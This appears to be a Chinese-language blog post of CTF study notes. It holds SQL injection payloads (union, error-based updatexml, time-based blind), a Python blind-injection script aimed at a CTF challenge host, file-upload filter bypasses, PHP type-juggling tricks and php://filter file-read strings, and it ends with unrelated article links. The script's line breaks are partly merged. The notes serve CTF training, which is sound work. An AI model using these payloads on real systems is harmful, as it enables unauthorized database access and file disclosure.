一般流程

  1. 首先看header, veiwsource, 目录扫描
  2. 有登陆, 尝试sql注入&爆破
  3. 有数据库, 必然sql注入?

普通sql注入

  1. 判断是否存在回显异常

    尝试单双引号

  2. 查是字符型?数值型?

    若1'#成功查询, 则是字符型

    若失败则是数值型

  3. 确定字段数

    1' order by 3# , 意思是按第三参数排序, 若报错则没有第三字段

  4. 确定返回值类型(需要么?参见bugku学生管理)

    0' union select 1, 2, 3, 4 #不可

    0' union select '1', '2', '3', '4' #可

  5. 确定offset

    1' union select '1', '2', '3', '4' # 仅有id=1的数据

    0' union select '1', '2', '3', '4' # 仅有1234数据

  6. database()

  7. information_schema.tables (使用group_concat)

  8. information_schema.columns (使用group_concat)

  9. 查字段

带字符串过滤的sql注入

  1. 异或测试过滤

    1'^(length('and')0)

    1'^(length('asdasd')0)

    测试结果若与下面的不同, 则存在and的过滤

  2. 双写绕过, 大小写绕过

  3. 空格过滤

    /x/充当空格

  4. 若上面的绕过union失效, 尝试updatexml(但需要异常回显)

    1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23

sql约束攻击

类似与在提供了注册功能的同时, 需要登陆admin帐号的情况下使用

注册时:

username=admin a&&passwd=passwd

因为sql由于字符串长度限制, 所以查询时截断username, 误认为admin, 登陆

但实测user(name varchar(20))下insert数据, 长度过长会报错, 所以这种攻击是否有效就另说了?

insert into类型sql注入

  1. 基于时间的sql注入

    '+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset 0) from 0 for 1)='a' then sleep(30) else 0 end)) #
import requests as req
from lxml import etree
import base64
from tqdm import tqdm url='http://123.206.87.240:8002/web15/'
# payload="'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset %d) from %d for 1)='%s' then sleep(30) else 0 end)) #"
payload="'+"+"(select case when substr((select * from flag from %d for 1)='%s' then sleep(30) else 0 end)) #"
dic="1234567890qwertyuiopasdfghjklzxcvbnm" dbname="w111111111111111111"
tablename=[] for ti in range(1):
tmp=''
for i in range(1, 21):
check=False
for ch in dic:
try:
print(payload%(i, ch))
resp=req.get(url, headers={'X-Forwarded-For': payload%(i, ch)}, timeout=3)
except:
tmp+=ch
print(tmp)
check=True
break if check==False: break
tablename.append(tmp)
print(tablename)
  1. 基于regex的sql注入

    详见:https://blog.csdn.net/hwz2311245/article/details/53941523

  2. 基于异常的sql注入

    链接同上

文件上传

此处用burpsuite操作

  1. 请求头的Content-Type大小写绕过
  2. 请求数据的Content-Type改为image/png等
  3. 文件后缀黑名单php, php4, php5, phps, phtml, phtm绕过
  4. 屏蔽<?php: 用<?= 或

绕过

  1. x==0

    字符串绕过

  2. x==null

    %20绕过

  3. is_numeric(x)false && x1

    1%00123 字符截断

    1%20123 空格字符

(%00123 绕过is_numeric()false, x1不能)

(%20123 不能绕过is_numeric()==false)

  1. is_numeric(x)==true && sql注入

    二次注入, x专成16进制即可
select hex('test');
-> 0x74657374
  1. md5(x) == md5(y) && x!=y

    数组绕过x[]=x&y[]=y

    sha1同理

  2. md5(x) === md5(y)

  3. strcmp($x, $flag)==0

    Php5.3之后版本使用strcmp比较一个字符串和数组的话,将不再返回-1而是返回0

  4. true == "0"

    字符串绕过

php技巧

  1. GLOBALS变量

  2. 文件包含 php://filter/read=convert.base64-encode/resource=flag.php

  3. php://input

    可将数据放入rawbody

  4. 传数组burpsuite下

    numbers[]="0,0,0"

    numbers=[0,0,0]

HTTP

  1. X-Forwarded-For设置ip

    事实上反代服务器也会写上XFF之类的header

    X-Forwarded-For:Squid 服务代理

    Proxy-Client-IP:apache 服务代理

    WL-Proxy-Client-IP:weblogic 服务代理

    HTTP_CLIENT_IP:有些代理服务器

    X-Real-IP:nginx服务代理

编码

  1. HTML编码
KEY{J2sa42ahJK-HS11III}
KEY{J2sa42ahJK-HS11III}
  1. Base64

  2. urlencode

// js
escape('!#') // "%21%23"
unescape('%21%23"') // !#

其他

  1. 如何做到POST的同时给出GET参数?

    postman: POST同时url上写GET参数, from-data写POST数据

    hackbar: enable post data即可

  2. JSFuck

问题

  1. http://123.206.87.240:8006/test/hello.php?id=1
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?> http://123.206.87.240:8006/test/hello.php?id=0&b=%004123123&a=php://input

为何id=0不能通过?

  1. sql注入, 做到这里卡题了

    http://123.206.87.240:9001/sql/

    http://123.206.87.240:9001/sql/do_Everythin.php#

CTF 常见操作总结的更多相关文章

  1. 动态单链表的传统存储方式和10种常见操作-C语言实现

    顺序线性表的优点:方便存取(随机的),特点是物理位置和逻辑为主都是连续的(相邻).但是也有不足,比如:前面的插入和删除算法,需要移动大量元素,浪费时间,那么链式线性表 (简称链表) 就能解决这个问题. ...

  2. C#路径/文件/目录/I/O常见操作汇总

    文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...

  3. X-Cart 学习笔记(四)常见操作

    目录 X-Cart 学习笔记(一)了解和安装X-Cart X-Cart 学习笔记(二)X-Cart框架1 X-Cart 学习笔记(三)X-Cart框架2 X-Cart 学习笔记(四)常见操作 五.常见 ...

  4. 转:jQuery 常见操作实现方式

    http://www.cnblogs.com/guomingfeng/articles/2038707.html 一个优秀的 JavaScript 框架,一篇 jQuery 常用方法及函数的文章留存备 ...

  5. jQuery 常见操作实现方式

    一个优秀的 JavaScript 框架,一篇 jQuery 常用方法及函数的文章留存备忘. jQuery 常见操作实现方式 $("标签名") //取html元素 document. ...

  6. C#路径/文件/目录/I/O常见操作汇总<转载>

    文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...

  7. [java学习笔记]java语言基础概述之数组的定义&常见操作(遍历、排序、查找)&二维数组

    1.数组基础 1.什么是数组:           同一类型数据的集合,就是一个容器. 2.数组的好处:           可以自动为数组中的元素从零开始编号,方便操作这些数据. 3.格式:  (一 ...

  8. 【转】C#路径/文件/目录/I/O常见操作汇总

    文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供一些解决方案,即使没有你想要的答案,也希望能提供 ...

  9. C#路径,文件,目录,I/O常见操作

         C#路径,文件,目录,I/O常见操作 文件操作是程序中非常基础和重要的内容,而路径.文件.目录以及I/O都是在进行文件操作时的常见主题,这里想把这些常见的问题作个总结,对于每个问题,尽量提供 ...

随机推荐

  1. Docker监控:最佳实践以及cAdvisor和Prometheus监控工具的对比

    在DockerCon EU 2015上,Brian Christner阐述了“Docker监控”的概况,分享了这方面的最佳实践和Docker stats API的指南,并对比了三个流行的监控方案:cA ...

  2. spark简单快速学习及打开UI界面---1

    1.远程集群测试 import org.apache.spark.{SparkContext, SparkConf} import scala.math.random /** * 利用spark进行圆 ...

  3. 大数据HIve

    1. 题目说明 设计题:MySQL数据库A有1000w条数据,完成统计再输入到另外的B表中 A表 test1 0.2,3.5,1,1test1 1.2,2.3,4.56test2 2.1,0.3,9. ...

  4. openstack核心组件--horizon web管理界面(5)

    一.horizon 介绍: 理解 horizon Horizon 为 Openstack 提供一个 WEB 前端的管理界面 (UI 服务 )通过 Horizone 所提供的 DashBoard 服务 ...

  5. Qt可扩展窗口实现

    前言 有时候需要实现窗口可扩展,换句话说有一部分widget能够隐藏,显示,并且对话框大小可以随着widget变动而做出相应的变化:如图: 在点击CheckBox时,GroupBox_2能够显示,取消 ...

  6. 在DELPHI中动态创建控件以及控件的事件

    在DELPHI中我们经常要动态的创建控件以及控件的事件.例如,我们可能想根据程序需要动态的创建一些Tshape组件来创建某个图形,并使得在鼠标移动上去之后可以完成某些操作.这一般需要需要三步: 生成一 ...

  7. A股委托类型

    上海交易所于2006年8月7日启用了两种类型的市价委托,分别为:“最优五档即时成交剩余撤销”.“最优五档即时成交剩余转限价”. 深圳证券交易所启用了“对手方最优价格委托”.“本方最优价格委托”.“最优 ...

  8. C学习笔记-第一个C语言程序

    第一个C语言程序 #include<stdio.h> //1 int main() //2 { printf("This is a C language"); //3 ...

  9. Vue-cli3性能优化

    Vue-cli3.0的打包性能优化方案:https://juejin.im/post/5d42962be51d4561b84c00c3 提升90%加载速度——vuecli下的首屏性能优化:https: ...

  10. elasticsearch 7.1 401 Unauthorized

    1.执行curl -XGET 'localhost:9200/_cat/indices?v&pretty'  报401 2.修改配置xpack.security.enabled: false ...